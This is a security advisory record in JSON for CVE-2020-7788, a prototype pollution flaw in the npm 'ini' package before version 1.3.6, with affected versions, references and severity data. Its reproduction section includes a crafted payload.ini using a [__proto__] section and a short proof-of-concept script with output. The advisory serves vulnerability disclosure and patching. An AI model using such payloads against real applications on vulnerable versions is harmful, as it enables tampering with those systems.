{"schema_version":"1.7.5","id":"GHSA-qqgx-2p2h-9c37","published":"2020-12-10T16:53:45Z","modified":"2026-03-13T21:56:58.453266Z","aliases":["CVE-2020-7788"],"related":["CGA-ff9r-2fx8-rr4q"],"summary":"ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse","details":"### Overview\nThe `ini` npm package before version 1.3.6 has a Prototype Pollution vulnerability.\n\nIf an attacker submits a malicious INI file to an application that parses it with `ini.parse`, they will pollute the prototype on the application. This can be exploited further depending on the context.\n\n### Patches\n\nThis has been patched in 1.3.6.\n\n### Steps to reproduce\n\npayload.ini\n```\n[__proto__]\npolluted = \"polluted\"\n```\n\npoc.js:\n```\nvar fs = require('fs')\nvar ini = require('ini')\n\nvar parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))\nconsole.log(parsed)\nconsole.log(parsed.__proto__)\nconsole.log(polluted)\n```\n\n```\n> node poc.js\n{}\n{ polluted: 'polluted' }\n{ polluted: 'polluted' }\npolluted\n```","affected":[{"package":{"name":"ini","ecosystem":"npm","purl":"pkg:npm/ini"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.3.6"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/12/GHSA-qqgx-2p2h-9c37/GHSA-qqgx-2p2h-9c37.json"}}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7788"},{"type":"WEB","url":"https://github.com/npm/ini/commit/56d2805e07ccd94e2ba0984ac9240ff02d44b6f1"},{"type":"PACKAGE","url":"https://github.com/npm/ini"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2020/12/msg00032.html"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-JS-INI-1048974"},{"type":"WEB","url":"https://www.npmjs.com/advisories/1589"}],"database_specific":{"cwe_ids":["CWE-1321"],"github_reviewed":true,"github_reviewed_at":"2020-12-10T16:51:39Z","nvd_published_at":"2020-12-11T11:15:00Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"}]}